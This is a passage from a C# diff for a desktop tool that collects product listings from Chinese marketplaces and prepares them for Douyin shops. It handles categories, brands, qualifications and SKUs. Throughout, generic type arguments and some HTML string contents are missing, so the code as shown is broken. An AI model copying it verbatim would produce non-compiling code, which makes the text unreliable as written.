BaseClass.BuildFissionObjString("category_api"); + string result = GetHtml.PostUtf8(url, requestData); + + JObject jObj = (JObject)JsonConvert.DeserializeObject(result); + //获取分组并刷新分组 + if (!string.IsNullOrEmpty(result) && jObj["code"].ToString() == "0") + { + GetTeamGroupContent(); + BaseMsgForm.ShowInfo("分组增加成功!"); + this.pnlCancelShopFlag_Click(null, null); + } + } + + /// + /// 获取商品的店铺标记/分组 + /// + private void GetTeamGroupContent(string teamGroup = null) + { + try + { + string getRequestData = UserLogin.GetSignaturex() + "&act=get"; + string getRrl = BaseClass.BuildFissionObjString("category_api"); + string categoryResult = GetHtml.PostUtf8(getRrl, getRequestData); + JObject jCategoryObj = (JObject)JsonConvert.DeserializeObject(categoryResult); + //jCategoryObj["list"] + string categoryList = jCategoryObj["list"].ToString(); + JArray jCategoryList = (JArray)JsonConvert.DeserializeObject(categoryList); + + List cateList = new List(); + cateList.Add(""); + foreach (var category in jCategoryList) + { + if (category["cate_name"] == null) + continue; + cateList.Add(category["cate_name"].ToString()); + } + + cmbShopFlag.DataSource = cateList; + if (!string.IsNullOrEmpty(teamGroup)) + cmbShopFlag.Text = teamGroup; + } + catch (Exception ex) + { + BaseMsgForm.ShowError("商品分组获取失败"); + } + } + + private void pnlAddShopFlag_Click(object sender, EventArgs e) + { + this.txtNewShopFlag.Visible = this.pnlSaveShopFlag.Visible = this.pnlCancelShopFlag.Visible = true; + //this.pnlAddShopFlag.Visible = this.cmbShopFlag.Visible = false; + } + + private void pnlCancelShopFlag_Click(object sender, EventArgs e) + { + this.txtNewShopFlag.Visible = this.pnlSaveShopFlag.Visible = this.pnlCancelShopFlag.Visible = false; + //this.pnlAddShopFlag.Visible = this.cmbShopFlag.Visible = true; + } + + private void fissionBrowserObject_InfomationReceived(string infomation) + { + try + { + string[] args = infomation.Split(':'); + //transformimg_start + if (args[0] == "transformimg_start") + { + this.Invoke(new Action(() => + { + // 以下写到template.html页面中的function TransformImg(id)方法内,防止线程卡死看不到效果 + pnlMsg.Text = "正在抠图中..."; + pnlMsg.Visible = true; + //var jsCode = "document.getElementById('spn_matting_status').innerHTML = '正在抠图中...';"; + //Task task = browser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + LastURLBtn.Enabled = false;//“切换到上一条”不可用 + NextURLBtn.Enabled = false;//“切换到下一条”不可用 + updateBtn.Enabled = false;//“提交上传”不可用 + addToDBBtn.Enabled = false;//“添加入库”不可用 + })); + } + //transformimg_end:ok:1 + //transformimg_end:fail:无效cookies + if (args[0] == "transformimg_end") + { + this.Invoke(new Action(() => + { + LastURLBtn.Enabled = true;//“切换到上一条”可用 + NextURLBtn.Enabled = true;//“切换到下一条”可用 + updateBtn.Enabled = true;//“提交上传”可用 + addToDBBtn.Enabled = true;//“添加入库”可用 + })); + + if (args[1] == "fail") + { + this.Invoke(new Action(() => + { + pnlMsg.Text = "抠图失败:" + args[2]; + pnlMsg.Visible = true; + Task.Run(() => { Thread.Sleep(3000); Invoke(new Action(() => { pnlMsg.Visible = false; })); }); + var jcode = "document.getElementById('spn_matting_status').innerHTML = '抠图失败:" + args[2] + "';"; + Task task = browser.GetMainFrame().EvaluateScriptAsync(jcode, null); + })); + } + if (args[1] == "ok") + { + this.Invoke(new Action(() => + { + pnlMsg.Text = "抠图成功"; + pnlMsg.Visible = true; + Task.Run(() => { Thread.Sleep(3000); Invoke(new Action(() => { pnlMsg.Visible = false; })); }); + var jcode = "document.getElementById('spn_matting_status').innerHTML = '抠图成功';"; + Task task = browser.GetMainFrame().EvaluateScriptAsync(jcode, null); + })); + string imgId = args[2]; + StringBuilder sb = new StringBuilder(); + //修图 + sb.Append("document.getElementById('OpenMeitu" + imgId + "').remove();"); + //拉回 + sb.Append("document.getElementById('PullImg" + imgId + "').remove();"); + //编辑 + sb.Append("document.getElementById('OpenEditTool" + imgId + "').remove();"); + string jsCode = sb.ToString(); + browser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + } + } + Application.DoEvents(); + } + catch { } + } + + /// + /// 获取类别的层级关系 + /// + /// + /// + public static List GetParentCatList(int cid) + { + List catList = new List(); + catList.Add(cid); + + int ccid = cid; + while (true) + { + var c = GoodsCategories.Find(x => x.id == ccid); + if (c == null || c.parent_id <= 0) + break; + catList.Insert(0, c.parent_id); + ccid = c.parent_id; + } + return catList; + } + + /// + /// 获取完整类目名称 + /// + /// + /// + public static string GetFullCatString(int cid) + { + List list = GetParentCatList(cid); + List listName = new List(); + foreach (var id in list) + { + var c = GoodsCategories.Find(x => x.id == id); + if (c != null) + listName.Add(c.name); + } + return string.Join(">>", listName); + } + + /// + /// 获取抖音店铺所有类目 + /// + /// + public static List GetShopGoodsCategories() + { + List list = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("cat_dy"); + if (list == null) + list = new List(); + if (list.Count == 0 || GlobalConfig.DouShopLoginList.Any(s => s.ApiAuthStatus == "授权成功" && (s.LstShopCategory == null || s.LstShopCategory.Count == 0))) + { + //list.Clear(); + foreach (var shop in GlobalConfig.DouShopLoginList) + { + if (shop.ApiAuthStatus == "授权成功") + { + List lstShopCategory = new List(); + lstShopCategory.Add(new GoodsCategoryModel() { enable = false, id = 0, is_leaf = false, level = 0, name = "全部分类", parent_id = -1 }); + + DouyinApi api = new DouyinApi(shop); + var result = api.GetShopCategory(0); + if (result.Contains("已过期")) + { + shop.ApiAuthStatus = "未授权"; + StartUp.SaveDouShopLoginInfo(); + continue; + } + + for (int i = 0; i < lstShopCategory.Count; i++) + { + if (lstShopCategory[i].is_leaf) + continue; + + if (i > 0) + { + api = new DouyinApi(shop); + retry: + result = api.GetShopCategory(lstShopCategory[i].id); + if (!result.Contains("\"code\":10000")) + goto retry; + } + var mc = BaseRegex.GetMatchRegex(ref result, "{([\\s\\S]*?)}"); + foreach (Match m in mc) + { + string r = m.Value; + + bool enable = BaseRegex.GetBoolJson(ref r, "enable"); + bool is_leaf = BaseRegex.GetBoolJson(ref r, "is_leaf"); + int level = BaseRegex.GetIntJson(ref r, "level"); + int id = BaseRegex.GetIntJson(ref r, "id"); + int parent_id = BaseRegex.GetIntJson(ref r, "parent_id"); + string name = BaseRegex.GetStringJson(ref r, "name"); + GoodsCategoryModel model = new GoodsCategoryModel() + { + enable = enable, + id = id, + is_leaf = is_leaf, + level = level, + name = name, + parent_id = parent_id + }; + lstShopCategory.Add(model); + } + } + shop.LstShopCategory = lstShopCategory.Select(s => s.id).Where(id => id != 0).ToList(); // 店铺支持的类目Id + foreach (var cat in lstShopCategory) + { + if (cat.id != 0 && !list.Any(l => l.id == cat.id)) + list.Add(cat); + } + } + } + } + + if (list.Count == 0) + { + BaseMsgForm.ShowInfo("获取类目失败!"); + } + + StartUp.SaveDouShopLoginInfo(); + NaiBa.Util.Helper.ConfigHelper.SaveConfig("cat_dy", list); + return list; + } + + public static string RemovePrefix(string url) + { + string xyz = url; + if (xyz == null) + return null; + if (xyz.StartsWith("https://")) + xyz = xyz.Substring("https://".Length); + if (xyz.StartsWith("http://")) + xyz = xyz.Substring("http://".Length); + if (xyz.StartsWith("//")) + xyz = xyz.Substring("//".Length); + if (xyz.StartsWith("/")) + xyz = xyz.Substring("/".Length); + return xyz; + } + + List GetMainImages() + { + List images = new List(); + var jsCode = "function getProductMainImages() { return document.getElementById('main_image').innerHTML; } getProductMainImages();"; + var task = browser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + task.Wait(5000); + var result = task.Result.Result?.ToString(); + if (!string.IsNullOrEmpty(result)) + { + var valueMatches = AllBase.BaseRegex.GetMatchRegex(ref result, "src=\"([\\s|\\S]*?)\""); + if (valueMatches.Count > 0) + { + foreach (Match valueMatch in valueMatches) + { + var img = valueMatch.Groups[1].ToString(); + if (!string.IsNullOrEmpty(img)) + images.Add(img); + } + } + } + return images; + } + /// + /// 获取商品的详情图list + /// + /// + List GetContent() + { + var dictContent = new List(); + + var task = browser.GetBrowser().MainFrame.GetSourceAsync(); + task.Wait(); + var html = task.Result; + var imgMatchs = AllBase.BaseRegex.GetMatchRegex(ref html, "class=\"content_group([\\w\\W]*?)"); + if (imgMatchs.Count > 0) + { + for (int i = 0; i < imgMatchs.Count; i++) + { + string s1 = imgMatchs[i].ToString(); + + //src=\"(.*?)\" + var mc = AllBase.BaseRegex.GetMatchRegex(s1, "src=\"(.*?)\" "); + List content = new List(); + foreach (Match m in mc) + { + string imgUrl = m.Groups[1].Value; + content.Add(imgUrl); + } + // 添加分组间隔 + if (content.Count > 0 && i > 0) + dictContent.Add("new_group"); + dictContent.AddRange(content); + } + } + return dictContent; + } + List GetSkus() + { + var props = new List(); + var taskGetProp = this.browser.GetBrowser().MainFrame.GetSourceAsync(); + taskGetProp.Wait(); + var taskResult = taskGetProp.Result; + var propMatches = AllBase.BaseRegex.GetMatchRegex(taskResult, "propstart-([\\s|\\S]*?)-propend"); + if (propMatches.Count > 0) + { + foreach (Match propMatch in propMatches) + { + var propStr = propMatch.ToString(); + PropBase propBase = JsonHelper.DeserializeJsonToObject(BaseRegex.GetMatchRegexString(propStr, "propstart-([\\s|\\S]*?)-propstartend")); + if (propBase != null) + { + propBase.Values = new List(); + var valueMatches = AllBase.BaseRegex.GetMatchRegex(propStr, "propvaluestart-([\\s|\\S]*?)-propvalueend"); + if (valueMatches.Count > 0) + { + foreach (Match valueMatch in valueMatches) + { + var valueStr = valueMatch.ToString(); + var propValueBase = JsonHelper.DeserializeJsonToObject( + BaseRegex.GetMatchRegexString(valueStr, "propvaluestart-([\\s|\\S]*?)-propvaluestartend")); + var imageMatch = BaseRegex.GetMatchRegexString(valueStr, "propvalueimgstart-([\\s|\\S]*?)-propvalueimgend"); + if (imageMatch != null) + { + imageMatch = BaseRegex.GetMatchRegexString(imageMatch, "src=\"([\\s|\\S]*?)\""); + if (imageMatch != null) + { + propValueBase.image = imageMatch; + propValueBase.image_from_url = imageMatch; + } + } + propBase.Values.Add(propValueBase); + } + } + props.Add(propBase); + } + } + } + return props; + } + + /// + /// 获取自定属性 + /// + /// + private List GetCustomProp() + { + List kv = new List(); + foreach (var control in flpProp.Controls) + { + var cp = control as UcCategoryProp; + if (cp != null && !string.IsNullOrEmpty(cp.PropValue)) + { + kv.Add(new KeyValueBase(cp.PropName, cp.PropValue)); + if (cp.PropName == "品牌" && !string.IsNullOrEmpty(cp.PropBrandId)) + { + kv.Add(new KeyValueBase("品牌编号", cp.PropBrandId)); + } + } + } + return kv; + } + + /// + /// 获取资质文件 + /// + /// + private List GetQualities() + { + List q = new List(); + foreach (var c in flpQualification.Controls) + { + var cc = c as UcQualifiaction; + if (cc != null && cc.QualificationFile != null) + { + q.Add(cc.QualificationFile); + } + } + return q; + } + + ProductCollectBase FissionDataModel2Pcb(FissionDataModel fissionDataModel) + { + // 是否调节价格 对应字段:ProductCollectBase.is_changeprice + // 加价倍数 对应字段:ProductCollectBase.addPricePercent + // 基础加价 对应字段:ProductCollectBase.baseAddPrice + // 拼团折扣 对应字段:ProductCollectBase.discount + + if (fissionDataModel == null) + return null; + + ProductCollectBase pcb = new ProductCollectBase(); + + // 是否是进化数据商品 + pcb.isFission = true; + // 商品id + pcb.from_id = fissionDataModel.fession_id.ParseToLong(); + // 销量 + pcb.saleCount = fissionDataModel.sales.ParseToInt(); + // 价格 + pcb.price = fissionDataModel.price.ParseToDecimal(); + // 原标题:不用修改 + pcb.from_title = pcb.from_name = fissionDataModel.title; + // 修改后的标题 + pcb.name = fissionDataModel.fessionTitle != null && fissionDataModel.fessionTitle.Count > 0 ? fissionDataModel.fessionTitle[0] : fissionDataModel.title; + // 裂变标题 + pcb.fission_names = fissionDataModel.fessionTitle; + // 来源 + pcb.from = fissionDataModel.source; + // 邮费金额 + pcb.express_price = fissionDataModel.postFree.ParseToDecimal(); + // 主图 + pcb.Images = fissionDataModel.main_pic; + // 详情图 + pcb.content = ""; + foreach (var imgUrl in fissionDataModel.content_pic) + { + if (imgUrl == "new_group") + pcb.content += "
    "; + else + pcb.content += $""; + } + // 子分类id + pcb.cat_id = fissionDataModel.cate_id; + // 主分类id + pcb.main_cid = fissionDataModel.main_cate_id; + // 主分类名称 + pcb.main_cat_name = fissionDataModel.mainCategory; + // 是否调节价格 + pcb.is_changeprice = (fissionDataModel.adjustPrice == 1).ToString(); + // 加价比例 + pcb.addPricePercent = fissionDataModel.addPricePercent; + // 基础加价 + pcb.baseAddPrice = fissionDataModel.baseAddPrice; + // 商品属性 + pcb.Prop = JsonHelper.DeserializeJsonToList(fissionDataModel.prop); + // 属性列表 + pcb.Props = JsonHelper.DeserializeJsonToList(fissionDataModel.props); + // 折扣比例 + pcb.discount = fissionDataModel.discount; + + List newSkus = new List(); + pcb.SkuMaps = JsonHelper.DeserializeJsonToList(fissionDataModel.skus); + // pcb属性和sku匹配 + foreach (var sku in pcb.SkuMaps) + { + bool has = true; + var skuNames = sku.name.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var skuName in skuNames) + { + var skuProp = skuName.Split(new string[] { ":" }, StringSplitOptions.RemoveEmptyEntries); + if (skuProp.Length != 2) + { + has = false; + break; + } + var skuPropGroupName = skuProp[0]; + var skuPropValue = skuProp[1]; + if (!pcb.Props.Any(p => p.name == skuPropGroupName && p.Values.Any(v => v.name == skuPropValue))) + { + has = false; + break; + } + } + if (has) + newSkus.Add(sku); + } + pcb.SkuMaps = newSkus; + fissionDataModel.skus = JsonHelper.SerializeObject(newSkus); // sku + + pcb.qualifications = JsonHelper.DeserializeJsonToList(fissionDataModel.qualifications); + + if (pcb.from == "淘宝") pcb.from_site_id = 1; + else if (pcb.from == "拼多多") pcb.from_site_id = 2; + else if (pcb.from == "阿里巴巴" || pcb.from == "1688") pcb.from_site_id = 3; + else if (pcb.from == "京喜") pcb.from_site_id = 4; + else if (pcb.from == "微店") pcb.from_site_id = 6; + else if (pcb.from == "抖音") pcb.from_site_id = 7; + + return pcb; + } + + private void lklbChangeCatId_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + + } + + private void categoryLabel_SizeChanged(object sender, EventArgs e) + { + pnlShowCategoryList.Location = new Point(lblCategory.Location.X + lblCategory.Width, lblCategory.Location.Y); + } + + private PanelEx pnlCategoryBox = null; + private void pnlShowCategoryList_Click(object sender, EventArgs e) + { + if (pnlShowCategoryList.Text == "▲") + { + if (pnlCategoryBox != null) + { + if (pnlCategoryBox.Controls.Count > 0) + pnlCategoryBox.Controls[0].Controls.Clear(); + pnlCategoryBox.Visible = false; + } + pnlShowCategoryList.Text = "▼"; + return; + } + + if (!string.IsNullOrEmpty(fullCatStrings)) + { + + pnlShowCategoryList.Text = "▲"; + JArray jArr = null; + if (!string.IsNullOrEmpty(fullCatStrings)) + jArr = JArray.Parse(fullCatStrings); + var catStrTemp = fullCatStrings; + if (jArr != null && jArr.Count <= 1) + { + GetCategoryInfo(detailDataPcb, out fullCatStrings, false); + if (!string.IsNullOrEmpty(fullCatStrings)) + jArr = JArray.Parse(fullCatStrings); + else + fullCatStrings = catStrTemp; + } + if (jArr != null && jArr.Count > 0) + { + ShowCategoryList(jArr); + } + } + } + + void ShowCategoryList(JArray cateJArr) + { + if (pnlCategoryBox == null) + { + pnlCategoryBox = new DevComponents.DotNetBar.PanelEx(); + pnlCategoryBox.Location = new Point(lblCategory.Location.X, lblCategory.Location.Y + lblCategory.Height); + pnlCategoryBox.Height = updateBtn.Location.Y - pnlCategoryBox.Location.Y + updateBtn.Height; + pnlCategoryBox.Width = pbPaste.Location.X - pnlCategoryBox.Location.X + pbPaste.Width; + + pnlCategoryBox.Style.Border = eBorderType.SingleLine; + pnlCategoryBox.Style.BorderColor.Color = Color.FromArgb(210, 210, 210); + pnlCategoryBox.Padding = new System.Windows.Forms.Padding(1); + pnlCategoryBox.Style.BackColor1.Color = Color.White; + pnlCategoryBox.Style.BackColor2.Color = Color.White; + + var pnlCategoryInnerBox = new Panel(); + pnlCategoryInnerBox.Dock = DockStyle.Fill; + pnlCategoryInnerBox.AutoScroll = true; + pnlCategoryBox.Controls.Add(pnlCategoryInnerBox); + + this.splitContainer3.Panel2.Controls.Add(pnlCategoryBox); + pnlCategoryBox.BringToFront(); + + List controlList = new List(); + controlList.Add(this); + for (int i = 0; i < controlList.Count; i++) + { + foreach (Control c in controlList[i].Controls) + { + if (c == pnlShowCategoryList || c == pnlCategoryBox) + continue; + controlList.Add(c); + c.Click += C_Click; + } + } + } + + pnlCategoryBox.Visible = true; + pnlCategoryBox.Controls[0].Controls.Clear(); + int top = 0; + foreach (JObject catJObj in cateJArr.Reverse()) + { + var fullCatString = JsonHelper.SerializeObject(catJObj); + + var pnlCategory = new PanelEx(); + pnlCategory.Dock = DockStyle.Top; + pnlCategory.Location = new Point(0, top); + pnlCategory.Tag = fullCatString; + pnlCategory.Height = 30; + pnlCategory.Text = (BaseRegex.GetStringJson(ref fullCatString, "first_name") + ">>" + + BaseRegex.GetStringJson(ref fullCatString, "second_name") + ">>" + + BaseRegex.GetStringJson(ref fullCatString, "third_name") + ">>" + + BaseRegex.GetStringJson(ref fullCatString, "fourth_name")).TrimEnd('>')/*.Replace("\\t", " ")*/; + if (fullCatString.Contains("\"industry_status\":0")) + pnlCategory.Style.ForeColor.Color = Color.FromArgb(0, 0, 0); + else + pnlCategory.Style.ForeColor.Color = Color.FromArgb(128, 128, 128); + + pnlCategory.Style.BackColor1.Color = Color.Transparent; + pnlCategory.Style.BackColor2.Color = Color.Transparent; + pnlCategory.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.Bottom; + pnlCategory.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + pnlCategory.Style.BorderColor.Color = Color.FromArgb(225, 225, 225); + pnlCategory.Click += PnlCategory_Click; + + pnlCategoryBox.Controls[0].Controls.Add(pnlCategory); + + top += 30; + } + } + + private void C_Click(object sender, EventArgs e) + { + if (pnlCategoryBox.Visible == true) + pnlShowCategoryList_Click(null, null); + } + + private void PnlCategory_Click(object sender, EventArgs e) + { + var fullCatString = (sender as PanelEx)?.Tag?.ToString(); + if (!string.IsNullOrEmpty(fullCatString)) + { + detailDataPcb.main_cid = BaseRegex.GetIntJson(ref fullCatString, "first_cid"); + detailDataPcb.cat1 = BaseRegex.GetIntJson(ref fullCatString, "first_cid"); + detailDataPcb.cat2 = BaseRegex.GetIntJson(ref fullCatString, "second_cid"); + detailDataPcb.cat3 = BaseRegex.GetIntJson(ref fullCatString, "third_cid"); + detailDataPcb.cat4 = BaseRegex.GetIntJson(ref fullCatString, "fourth_cid"); + detailDataPcb.cat_id = detailDataPcb.cat4; + if (detailDataPcb.cat_id == 0) + detailDataPcb.cat_id = detailDataPcb.cat3; + if (detailDataPcb.cat_id == 0) + detailDataPcb.cat_id = detailDataPcb.cat2; + if (detailDataPcb.cat_id == 0) + detailDataPcb.cat_id = detailDataPcb.cat1; + lblCategory.Text = (BaseRegex.GetStringJson(ref fullCatString, "first_name") + ">>" + + BaseRegex.GetStringJson(ref fullCatString, "second_name") + ">>" + + BaseRegex.GetStringJson(ref fullCatString, "third_name") + ">>" + + BaseRegex.GetStringJson(ref fullCatString, "fourth_name")).Trim('>')/*.Replace("\\t", " ")*/; + } + pnlCategoryBox.Controls[0].Controls.Clear(); + pnlCategoryBox.Visible = false; + pnlShowCategoryList.Text = "▼"; + } + + public void GetPropAndQualification() + { + string categoryText = ""; + + Invoke(new Action(() => + { + flpProp.Controls.Clear(); + flpQualification.Controls.Clear(); + splitPage.Panel2Collapsed = true; + categoryText = this.lblCategory.Text; + })); + + if (!string.IsNullOrEmpty(categoryText) && categoryText != "fenlei") + { + // 暂时属性/资质类编辑只针对食品饮料类目开放 + if (!foodCate1Names.Any(f => categoryText.StartsWith(f))) + return; + + var dyShop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ApiAuthStatus == "授权成功"); + if (dyShop == null) + { + BaseMsgForm.ShowError("请确保至少有一个店铺授权成功!"); + return; + } + + // 必填属性 + DouyinApi api = new DouyinApi(dyShop); + api.JsonData["category_leaf_id"] = detailDataPcb.cat_id.ToString(); + var propResult = api.GetCatePropertyV2(); + while (propResult.Contains("已过期")) + { + dyShop.ApiAuthStatus = "未授权"; + StartUp.SaveDouShopLoginInfo(); + dyShop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ApiAuthStatus == "授权成功"); + if (dyShop == null) + { + BaseMsgForm.ShowError("请确保至少有一个店铺授权成功!"); + return; + } + api = new DouyinApi(dyShop); + api.JsonData["category_leaf_id"] = detailDataPcb.cat_id.ToString(); + propResult = api.GetCatePropertyV2(); + } + + List propList = new List(); + if (propResult.Contains("\"code\":10000")) + { + if (propResult.Contains("生产企业名称") || propResult.Contains("品牌")) + { + var propObjs = JObject.Parse(propResult)?["data"]?["data"]; + if (propObjs != null) + { + foreach (JObject jObj in propObjs) + { + var propName = jObj["property_name"].ToString(); + if (propName == null) + continue; + + if (propName == "生产企业名称" || propName == "品牌") + { + var name = jObj["property_name"].ToString(); + var value = detailDataPcb.Prop.FirstOrDefault(p => p.Key == name)?.Value; + if (value == null) + value = ""; + + UcCategoryProp ucCategoryProp = new UcCategoryProp() { Margin = new System.Windows.Forms.Padding(1, 3, 3, 3), }; + ucCategoryProp.PropName = name; + ucCategoryProp.PropValue = value; + if (ucCategoryProp.PropName == "品牌") + { + ucCategoryProp.txtPropValue.ReadOnly = true; + ucCategoryProp.txtPropValue.Click += TxtPropBrandValue_Click; + + var brandId = detailDataPcb.Prop.FirstOrDefault(p => p.Key == "品牌编号")?.Value; + if (!string.IsNullOrEmpty(brandId)) + ucCategoryProp.PropBrandId = brandId; + } + + if (!flpProp.Controls.Cast().Any(c => (c as UcCategoryProp)?.PropName == ucCategoryProp.PropName)) + { + Invoke(new Action(() => + { + this.flpProp.Controls.Add(ucCategoryProp); + })); + } + } + } + } + } + } + + // 资质图片 + api = new DouyinApi(dyShop); + api.JsonData["category_id"] = detailDataPcb.cat_id.ToString(); + var qualityResult = api.GetQualificationConfig(); + if (qualityResult != null && qualityResult.Contains("\"code\":10000")) + { + List configList = new List(); + if (qualityResult.Contains("食品生产许可证")) + { + var configs = JObject.Parse(qualityResult)?["data"]?["config_list"]?.ToString(); + if (configs != null) + { + configList = JsonHelper.DeserializeJsonToList(configs); + configList = configList.Where(c => c.name == "包装标签图" || c.name == "食品生产许可证" || c.is_required).ToList(); + } + } + else + { + var configs = JObject.Parse(qualityResult)?["data"]?["config_list"]?.ToString(); + if (configs != null) + { + configList = JsonHelper.DeserializeJsonToList(configs); + configList = configList.Where(c => c.is_required).ToList(); + } + } + if (configList.Count > 0) + { + foreach (var config in configList) + { + UcQualifiaction ucQualifiaction = new UcQualifiaction() { Margin = new System.Windows.Forms.Padding(1, 3, 3, 3), }; + ucQualifiaction.Qualification = config; + ucQualifiaction.QualificationFile = detailDataPcb.qualifications?.FirstOrDefault(q => q?.quality_key == config.key); + //ucQualifiaction.Location = new Point(10, y); + //y += ucQualifiaction.Height + 10; + + Invoke(new Action(() => + { + this.flpQualification.Controls.Add(ucQualifiaction); + })); + } + } + } + } + + if (flpProp.Controls.Count > 0 || flpQualification.Controls.Count > 0) + { + Invoke(new Action(() => + { + this.splitPage.Panel2Collapsed = false; + })); + } + } + + string BrandBase = ""; + private void TxtPropBrandValue_Click(object sender, EventArgs e) + { + var txt = sender as TextBox; + if (txt == null) + return; + + if (pnlBrandBox == null || pnlBrandBox.Visible == false) + { + if (pnlBrandBox == null) + txt.TextChanged += TxtPropBrandValue_TextChanged; + + BrandBase = txt.Text; + TxtPropBrandValue_TextChanged(txt, null); + txt.ReadOnly = false; + txt.SelectAll(); + } + else + { + pnlBrandBox.Visible = false; + txt.Text = BrandBase; + txt.ReadOnly = true; + } + } + + private PanelEx pnlBrandBox = null; + private void TxtPropBrandValue_TextChanged(object sender, EventArgs e) + { + var txt = sender as TextBox; + if (txt == null) + return; + + foreach (var control in this.flpProp.Controls) + { + var ucCategoryProp = control as UcCategoryProp; + if (ucCategoryProp != null && ucCategoryProp.PropName == "品牌") + { + string result = ""; + var textQuery = ""; + while (result == "" || result.Contains("已过期")) + { + var dyShop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ApiAuthStatus == "授权成功"); + if (dyShop == null) + { + BaseMsgForm.ShowError("请确保至少有一个店铺授权成功!"); + return; + } + var api = new DouyinApi(dyShop); + api.JsonData["category_id"] = detailDataPcb.cat_id.ToString(); + textQuery = txt.Text.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries).LastOrDefault(); + api.JsonData["query"] = textQuery == null ? "" : textQuery; // "JIXIN/积鑫"; + result = api.cateBrandList(); + } + + try + { + var jArr = JObject.Parse(result)["data"]["brand_list"] as JArray; + if (textQuery == "无品牌" && !result.Contains("\"无品牌\"")) + jArr.Add(JObject.Parse("{\"brand_id\":596120136,\"name_cn\":\"无品牌\",\"name_en\":\"\"}")); + ShowBrandList(jArr, txt); + } + catch (Exception ex) { } + } + } + } + + void ShowBrandList(JArray brandJArr, Control baseControl) + { + if (pnlBrandBox == null) + { + pnlBrandBox = new DevComponents.DotNetBar.PanelEx(); + pnlBrandBox.Height = 200; + pnlBrandBox.Width = baseControl.Width; + + pnlBrandBox.Style.Border = eBorderType.SingleLine; + pnlBrandBox.Style.BorderColor.Color = Color.FromArgb(210, 210, 210); + pnlBrandBox.Padding = new System.Windows.Forms.Padding(1); + pnlBrandBox.Style.BackColor1.Color = Color.White; + pnlBrandBox.Style.BackColor2.Color = Color.White; + + var pnlBrandInnerBox = new Panel(); + pnlBrandInnerBox.Dock = DockStyle.Fill; + pnlBrandInnerBox.AutoScroll = true; + pnlBrandBox.Controls.Add(pnlBrandInnerBox); + + this.splitPage.Panel2.Controls.Add(pnlBrandBox); + pnlBrandBox.BringToFront(); + + List controlList = new List(); + controlList.Add(this); + for (int i = 0; i < controlList.Count; i++) + { + foreach (Control c in controlList[i].Controls) + { + if (c == pnlBrandBox || c == baseControl) + continue; + controlList.Add(c); + c.Click += ControlBrand_Click; + } + } + } + + var yPos = baseControl.Location.Y; + var control = baseControl; + while (control.Parent != this.flowLayoutPanel1) + { + control = control.Parent; + yPos += control.Location.Y; + } + + pnlBrandBox.Location = new Point(baseControl.Location.X + 4, yPos + baseControl.Height); + pnlBrandBox.Visible = true; + pnlBrandBox.BringToFront(); + pnlBrandBox.Controls[0].Controls.Clear(); + int top = 0; + foreach (JObject brandJObj in brandJArr.Reverse()) + { + var fullBrandString = JsonHelper.SerializeObject(brandJObj); + + var pnlBrandChild = new PanelEx(); + pnlBrandChild.Dock = DockStyle.Top; + pnlBrandChild.Location = new Point(0, top); + pnlBrandChild.Tag = fullBrandString; + pnlBrandChild.Height = 30; + pnlBrandChild.Text = (BaseRegex.GetStringJson(ref fullBrandString, "name_en") + "/" + + BaseRegex.GetStringJson(ref fullBrandString, "name_cn")).Trim('/'); + pnlBrandChild.Style.ForeColor.Color = Color.FromArgb(0, 0, 0); + + pnlBrandChild.Style.BackColor1.Color = Color.Transparent; + pnlBrandChild.Style.BackColor2.Color = Color.Transparent; + pnlBrandChild.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.Bottom; + pnlBrandChild.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + pnlBrandChild.Style.BorderColor.Color = Color.FromArgb(225, 225, 225); + pnlBrandChild.Click += PnlBrand_Click; + + pnlBrandBox.Controls[0].Controls.Add(pnlBrandChild); + + top += 30; + } + } + + private void ControlBrand_Click(object sender, EventArgs e) + { + try + { + foreach (var control in this.flpProp.Controls) + { + var ucCategoryProp = control as UcCategoryProp; + if (ucCategoryProp != null && ucCategoryProp.PropName == "品牌") + { + ucCategoryProp.txtPropValue.Text = BrandBase; + } + } + pnlBrandBox.Controls[0].Controls.Clear(); + pnlBrandBox.Visible = false; + } + catch (Exception ex) { } + } + + private void PnlBrand_Click(object sender, EventArgs e) + { + var fullBrandString = (sender as PanelEx)?.Tag?.ToString(); + if (!string.IsNullOrEmpty(fullBrandString)) + { + foreach (var control in this.flpProp.Controls) + { + var ucCategoryProp = control as UcCategoryProp; + if (ucCategoryProp != null && ucCategoryProp.PropName == "品牌") + { + ucCategoryProp.txtPropValue.TextChanged -= TxtPropBrandValue_TextChanged; + ucCategoryProp.txtPropValue.Text = (BaseRegex.GetStringJson(ref fullBrandString, "name_en") + "/" + + BaseRegex.GetStringJson(ref fullBrandString, "name_cn")).Trim('/'); + BrandBase = ucCategoryProp.txtPropValue.Text; + ucCategoryProp.PropBrandId = BaseRegex.GetStringJson(ref fullBrandString, "brand_id"); + ucCategoryProp.txtPropValue.TextChanged += TxtPropBrandValue_TextChanged; + + pnlBrandBox.Controls[0].Controls.Clear(); + pnlBrandBox.Visible = false; + } + } + } + } + + private void btnLoadLastSetting_Click(object sender, EventArgs e) + { + foreach (var control in this.flpProp.Controls) + { + var ucCategoryProp = control as UcCategoryProp; + if (ucCategoryProp != null) + { + var prop = sCustomPropList.FirstOrDefault(p => p.Key == ucCategoryProp.PropName); + if (prop != null) + { + ucCategoryProp.txtPropValue.Text = prop.Value; + if (ucCategoryProp.PropName == "品牌") + { + prop = sCustomPropList.FirstOrDefault(p => p.Key == "品牌编号"); + if (prop != null) + { + ucCategoryProp.PropBrandId = prop.Value; + } + } + } + } + } + foreach (var control in this.flpQualification.Controls) + { + var ucQualifiaction = control as UcQualifiaction; + if (ucQualifiaction != null) + { + var qualifyFile = sQulityFileList.FirstOrDefault(q => q.quality_name == ucQualifiaction.Qualification.name); + if (qualifyFile != null) + { + ucQualifiaction.QualificationFile = qualifyFile; + ucQualifiaction.ShowQualification(); + } + } + } + } + + private void Fission_FormClosed(object sender, FormClosedEventArgs e) + { + CleanDataForm.LstFissionForm.Remove(this); + } + + private void btnShowOriginal_Click(object 